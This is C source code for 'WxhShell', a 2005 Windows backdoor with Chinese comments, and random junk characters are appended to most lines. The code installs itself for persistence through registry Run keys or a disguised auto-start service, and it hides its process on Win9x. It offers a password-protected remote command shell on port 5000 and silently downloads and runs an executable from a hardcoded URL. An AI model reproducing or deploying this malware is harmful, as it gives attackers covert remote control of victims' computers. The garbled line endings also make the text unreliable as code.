DWORD AffinityMask; @3 "DBJ
DWORD BasePriority; cEi<}9r
ULONG UniqueProcessId; tc/ jY]'32
ULONG InheritedFromUniqueProcessId; dofR)"<p,^
} PROCESS_BASIC_INFORMATION; Mf7E72{D
>sV Bj(f
PROCNTQSIP NtQueryInformationProcess; ngqUH
liG~y|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Z2/9K%1'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XI
g|G}i.
h544dNo&
HANDLE hProcess; Kq6qXc\x
PROCESS_BASIC_INFORMATION pbi; WguV{#=H
6DZ2pT:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a}D&$yz2
if(NULL == hInst ) return 0; X,53c$
t^$Div_%G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g.&\6^)8p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L&HzN{K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m?vAyi
~y%7w5%Un
if (!NtQueryInformationProcess) return 0; Ja=N@&Z#
*lq7t2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); },3R%?89%
if(!hProcess) return 0; D4\(:kF\Hg
9jjL9f_3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zf")|9j
nP)-Y#`~7
CloseHandle(hProcess); QQ|9>QP
;S=e%:zb
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A'v[SUW'm
if(hProcess==NULL) return 0; V,'FlU
%>NRna
HMODULE hMod; ndt8=6p
char procName[255]; e)og4
unsigned long cbNeeded; % NwoU%q
Ug`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nTQ (JDf
&`5 :GLV
CloseHandle(hProcess); lc-*8eS
+{bh
if(strstr(procName,"services")) return 1; // 以服务启动 gU*I;s>
> hesxC!
return 0; // 注册表启动 8Nv-/VQ/b
} y7
<(,uT
/^WE@r[:
// 主模块 ^)'||Ly
int StartWxhshell(LPSTR lpCmdLine) ,DQ
>&_DK
{ ],#ZPUn
SOCKET wsl; m&{rBz0
BOOL val=TRUE; $q=hcu
int port=0; ^:$j:w?j
struct sockaddr_in door; M,Po54u
xKisL=l6Y
if(wscfg.ws_autoins) Install(); <#!8?o&i
,P1G?,y
port=atoi(lpCmdLine); kfIbgya
&A#90xzF
if(port<=0) port=wscfg.ws_port; :'TX"E!
@~Rk^/0
WSADATA data; ?##y`.+O
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J]_)gb'1BR
K
oL%}u&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0c{Gr 0[>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xek E#?.
door.sin_family = AF_INET; m./*LXU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %k~C-+
door.sin_port = htons(port); lK 9s0t'
csm?oU niz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Jt8d|UP
closesocket(wsl); cbY3m Sfn*
return 1; &s_}u%iC
} 96k(XLR
~c'\IM
if(listen(wsl,2) == INVALID_SOCKET) { + >Fv*lux
closesocket(wsl); 8~rT
return 1; .jy)>"h0
} -1dIZy
Wxhshell(wsl); yzODF>KJ
WSACleanup(); I%C]>ZZh
y;*My#
return 0; AZ]Z,s6
C5d/)aC
} 4t"* )xy
!$4Q]@ }
// 以NT服务方式启动 9,}fx+^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G;Pt|F?c
{ PP~CZ2Fze
DWORD status = 0; yRSy(/L^+
DWORD specificError = 0xfffffff; ..sJtA8
K>`m_M"LA
serviceStatus.dwServiceType = SERVICE_WIN32; !;6W!%t.|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DWHOSXA4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kvY}
yw7
serviceStatus.dwWin32ExitCode = 0; :ga 9Db9P
serviceStatus.dwServiceSpecificExitCode = 0; 9iiU,}M`j
serviceStatus.dwCheckPoint = 0; w?*'vF_2:#
serviceStatus.dwWaitHint = 0; P DNt4=C
vWZ>Hf]`L
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _
+u sn.
if (hServiceStatusHandle==0) return; K7YT0cG
9G=A)j
status = GetLastError(); <5C=i:6%
if (status!=NO_ERROR) 9}IVNZc
{ fLf#2EA
serviceStatus.dwCurrentState = SERVICE_STOPPED; f4qS OVv
serviceStatus.dwCheckPoint = 0; w`w `q'
serviceStatus.dwWaitHint = 0; \f~u85
serviceStatus.dwWin32ExitCode = status; ?^F*"+qI
serviceStatus.dwServiceSpecificExitCode = specificError; 'lSnyW{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %>oT7|x
return; U<#$w{d:
} hA$c.jJr.Z
)L&n)w
serviceStatus.dwCurrentState = SERVICE_RUNNING; y?rK5Yos
serviceStatus.dwCheckPoint = 0; T(t
<Ay?c
serviceStatus.dwWaitHint = 0; [0(
E>vm
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {3_F fsg`
} j@!BOL~?
c9>8IW
// 处理NT服务事件,比如:启动、停止 E0WrpGZ
VOID WINAPI NTServiceHandler(DWORD fdwControl) u k>q\j
{ KR+ aY.
switch(fdwControl) 4C2>0O<^s
{ [U_Q 2<H
case SERVICE_CONTROL_STOP: 4IH0un
serviceStatus.dwWin32ExitCode = 0; 0Te)s3X
serviceStatus.dwCurrentState = SERVICE_STOPPED; q|de*~@-P
serviceStatus.dwCheckPoint = 0; x(T!I&i={
serviceStatus.dwWaitHint = 0; 'npT+p$V
{ F5om-tzy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NG4eEnic!a
} QqT6P`0u
return; &eLQ;<qO*|
case SERVICE_CONTROL_PAUSE: %m0L!|E
serviceStatus.dwCurrentState = SERVICE_PAUSED; #Q!c42}M
break; s0`]!7D<
case SERVICE_CONTROL_CONTINUE: `t/@ L:
serviceStatus.dwCurrentState = SERVICE_RUNNING; pEqr0Qwh
break; PAO[Og,-
case SERVICE_CONTROL_INTERROGATE: H@OrX
break; 8=u+BDG
}; Oa3=+_C~$1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I*`=[nR
} a`GN@
8
E:LQ!
// 标准应用程序主函数 9|?(GG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;Fwm1ezx0
{ v\r7.l:hf
8kn]_6:3i
// 获取操作系统版本 HCn]#
OsIsNt=GetOsVer(); `eA&C4oFOO
GetModuleFileName(NULL,ExeFile,MAX_PATH); ft.}$8vIT
Y ~\`0?ST
// 从命令行安装
K[3D{=
if(strpbrk(lpCmdLine,"iI")) Install(); V"D<)VVA
LgD{!
// 下载执行文件 ?Pok-90
if(wscfg.ws_downexe) { c=U$$|qHV
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bl+@}+A
WinExec(wscfg.ws_filenam,SW_HIDE); GXAk*vS=G
} 1zEZ\G
cxF?&0[mY
if(!OsIsNt) { UVQ a
af
// 如果时win9x,隐藏进程并且设置为注册表启动 %RK\Hz2q3
HideProc(); t,r&SrC
StartWxhshell(lpCmdLine); 8=zM~v)
} p.W*j^';Q
else ^7^bA
if(StartFromService()) 9^[5!SMzCj
// 以服务方式启动 0;m$a=
StartServiceCtrlDispatcher(DispatchTable); S<bz7
k9
else 1Ag ;s
// 普通方式启动 ofJ]`]~VG
StartWxhshell(lpCmdLine); JQVw6*u{
;JD3tM<
return 0; Gh>fp
} ;Kd{h
"a%ASy>?g
M
b /X@51
$'mB 8 S
=========================================== Ubos#hP
Xxsnpb>
#Ot*jb1
R*TGn_J`
uJ!s%s2g
G:6$P%.
" K
{1ZaEH
Lw+1|
#include <stdio.h> ^J}$y7
#include <string.h> ~m;MM)_V
#include <windows.h> nluyEK
#include <winsock2.h> 4\eX=~C>:
#include <winsvc.h> BC0c c[x
#include <urlmon.h> 6/WK((Fd
K1wN9D{t'
#pragma comment (lib, "Ws2_32.lib") pGcx
jm
#pragma comment (lib, "urlmon.lib") _)Z7Le:f!
1b]PCNz
#define MAX_USER 100 // 最大客户端连接数 qer'V
#define BUF_SOCK 200 // sock buffer J7xT6Q=
#define KEY_BUFF 255 // 输入 buffer !O -_Dp\#
+` Y ?-
#define REBOOT 0 // 重启 K7R])*B.~
#define SHUTDOWN 1 // 关机 3K20f8g
w)y9!li
#define DEF_PORT 5000 // 监听端口 _I}L$
gBiQIhz
#define REG_LEN 16 // 注册表键长度 r(2'0JQ
#define SVC_LEN 80 // NT服务名长度 i,b7Ft:F&
^@5ui;JV
// 从dll定义API uW--
nXMs
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _Ag/gu2-?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~FCSq:_
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (l!D=qy
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1S.e5{
@7Rt[2"e
// wxhshell配置信息 kpreTeA]
struct WSCFG { `6/Yf@b
int ws_port; // 监听端口 SUi1*S
char ws_passstr[REG_LEN]; // 口令 wj:3
int ws_autoins; // 安装标记, 1=yes 0=no zam0(^=
char ws_regname[REG_LEN]; // 注册表键名 g l\$jDC9
char ws_svcname[REG_LEN]; // 服务名 E `j5y(44
char ws_svcdisp[SVC_LEN]; // 服务显示名 /$.vHt5nt
char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ un
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;gu>;_
int ws_downexe; // 下载执行标记, 1=yes 0=no _x|8U'|Ce
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WQmiG=Dw^
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <GmrKdM
hz|z&vyP
}; {Ljl4Sp&
^?.:}
// default Wxhshell configuration ]\mb6Hc
struct WSCFG wscfg={DEF_PORT, Fh4w0u*Q
"xuhuanlingzhe", ].T;x|
1, JO6vzoS3
"Wxhshell", <7-,`
"Wxhshell", =
Vr[V@
"WxhShell Service", TKBK3N
"Wrsky Windows CmdShell Service", 2yO)}g FJ
"Please Input Your Password: ", HNUR6H&Fta
1, w7?9e#>Z
"http://www.wrsky.com/wxhshell.exe", ]4Yb$e`
"Wxhshell.exe" ?$&rC0t
}; ue:P#] tx
vKOn7
// 消息定义模块 6{r[ Dq
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /ZN5WK
char *msg_ws_prompt="\n\r? for help\n\r#>"; AdS_-Cm
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sU_4+Mk
char *msg_ws_ext="\n\rExit.";
#YYvc`9
char *msg_ws_end="\n\rQuit."; ]B'
char *msg_ws_boot="\n\rReboot..."; c1!/jTX$
char *msg_ws_poff="\n\rShutdown..."; jG ;(89QR/
char *msg_ws_down="\n\rSave to "; b0=AQ/:
>Pd23TsN
char *msg_ws_err="\n\rErr!"; JP*wi-8D
char *msg_ws_ok="\n\rOK!"; Y'H/
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xdU
pp~}+.
char ExeFile[MAX_PATH]; _$_CR\$
int nUser = 0; FT<*
HANDLE handles[MAX_USER]; WK)k -A^q
int OsIsNt; R.'Gg
_p2<7x i
SERVICE_STATUS serviceStatus; 9@*>$6
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0bL=l0N$W
UT7lj wT
// 函数声明 sW3D
(
n
int Install(void); oc%le2
int Uninstall(void); XlJux_LD:
int DownloadFile(char *sURL, SOCKET wsh);
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int Boot(int flag); aYCzb7
void HideProc(void); n
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int GetOsVer(void); Z4zMa&
int Wxhshell(SOCKET wsl); G.ARu-2's
void TalkWithClient(void *cs); 'wq:F?viF
int CmdShell(SOCKET sock); ^52R`{
int StartFromService(void); )g^Ewzy^X
int StartWxhshell(LPSTR lpCmdLine); ly5L-=Xb
M@[gT?mv1
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]@T `qR
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F9J9pgVP
N ^`Efpvg
// 数据结构和表定义 ,lYU#Hx*
SERVICE_TABLE_ENTRY DispatchTable[] = 0=zS&xM
{ gCI'YEx
{wscfg.ws_svcname, NTServiceMain}, &: 8 &;vk
{NULL, NULL} "$;:dfrU
}; PH &ms
$^ dk>Hj>4
// 自我安装 k8>^dZub
int Install(void) rGL{g&_
{ ^S2}0Nf
char svExeFile[MAX_PATH]; ew ['9
HKEY key; 1vudT&
strcpy(svExeFile,ExeFile); <$6E r
*0ntx$M-w
// 如果是win9x系统,修改注册表设为自启动 ;| ,Y2?
if(!OsIsNt) { 3H%WB|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BQf+1Ly&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w~?eX/;
RegCloseKey(key); r_RTtS#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wIHz TL
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iPYlTV
RegCloseKey(key); wf$ JuHPt
return 0; (W/UR9x)|d
} e2ZUl` {g
} L KR,CPz
} ,R6$SrNcd
else { hG3Lj7)UH
F4gc_>{|
// 如果是NT以上系统,安装为系统服务 !qve1H4d2
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t4f\0`jN
if (schSCManager!=0) {0{$.L
{ rrRC5h
SC_HANDLE schService = CreateService "evV/Fg(
( &"n9,$
schSCManager, SVz.d/3Y
wscfg.ws_svcname, )Q?[_<1Y+
wscfg.ws_svcdisp, lI<8)42yq
SERVICE_ALL_ACCESS, kO"aE~
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -e\56%\~_
SERVICE_AUTO_START, Vk
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SERVICE_ERROR_NORMAL, f#b[KB^Z,2
svExeFile, GdY^}TJrh
NULL, "S#hzrEdYI
NULL, zH4#\d
NULL, 7J/3O[2
NULL, A*;h}\n
NULL mq9&To!
); 6*
w;xf
if (schService!=0) _
RT}Ee}Y
{ [wYQP6Cyy
CloseServiceHandle(schService); @S):a`J
CloseServiceHandle(schSCManager); <Ux;dekz}
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :gv#_[k
strcat(svExeFile,wscfg.ws_svcname); .C?g nOq
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I]1fH
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .?NAq[H%
RegCloseKey(key); vkmR
cX:/
return 0; -&tiM
v
} m!(K
} +R$KEGu~0Y
CloseServiceHandle(schSCManager); Ne_>%P|I_
} ')<$AMy1
} x|5/#H
5Px_vtqP
return 1; OD|&qsbL
} ]uf_"D
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// 自我卸载 GjBQxn
int Uninstall(void) R?I3xb
{ VTa8.(i6v
HKEY key; S0yT%V
uM#/
if(!OsIsNt) { mQJ GKh&Pk
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dGjvSK<1@
RegDeleteValue(key,wscfg.ws_regname); K2Zy6lGOZ
RegCloseKey(key); d?.x./1[qi
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R\?!r4
RegDeleteValue(key,wscfg.ws_regname); =Y0m;-1M
RegCloseKey(key);
1<5yG7SZ
return 0; Wd#6Y}:
} qZG >FC37
} EbHeP
} 8Qh/=Ir
else { C54)eT6
mHy]$Z
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2BY:qz%:
if (schSCManager!=0) lhU# /}Z
{ &D#v0!e~x
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `x{gF8GV
if (schService!=0) :1Cc~+]w(u
{ DGnswN%n1
if(DeleteService(schService)!=0) { lLv0lf
CloseServiceHandle(schService); {[+gM?
CloseServiceHandle(schSCManager); LtBH4A
return 0; HS7!O
} EC0auB7G
CloseServiceHandle(schService); r{_'2Z_i
} <[bDNe["?
CloseServiceHandle(schSCManager); I\_ R&
v
} ;z#9>99rH
} {JJ`|*H$_
~S9nLb:O{
return 1; C
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} j&9~OXYv
NINiX(
// 从指定url下载文件 !p$V7pFu6
int DownloadFile(char *sURL, SOCKET wsh) Yu=^`I
{ {ig@Iy~DT
HRESULT hr; |j<'[gB\p
char seps[]= "/"; ]F~5l?4u#
char *token; #*~Uu.T
char *file; \Ip<bbB0
char myURL[MAX_PATH]; -h}J%UV
char myFILE[MAX_PATH]; {mDaK&]Oh
5V0=-K
strcpy(myURL,sURL); V4>P8cE
token=strtok(myURL,seps); =@'"\
"Nh
while(token!=NULL) G+}LLm.wX
{ }|d:(*
file=token; HFazqQ[
token=strtok(NULL,seps); tkmW\
} )Jc>l;G(M
C+Z"0\{o
GetCurrentDirectory(MAX_PATH,myFILE); Smp+}-3O
strcat(myFILE, "\\"); a5iMCmL+
strcat(myFILE, file); SV~xNzo~
send(wsh,myFILE,strlen(myFILE),0); y-U(`{[nM
send(wsh,"...",3,0); ,rKN/{M!
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DCm;dh
if(hr==S_OK) Z7v~;JzC#
return 0; }y1M0^M-$
else 'coqm8V[%
return 1; e0TnA
N
2a^(8A`7W
} VXa]L4jJ9
1#V0g Q
// 系统电源模块 eIO}/npT]Q
int Boot(int flag) \?o%<c5{
{ gDv]n^&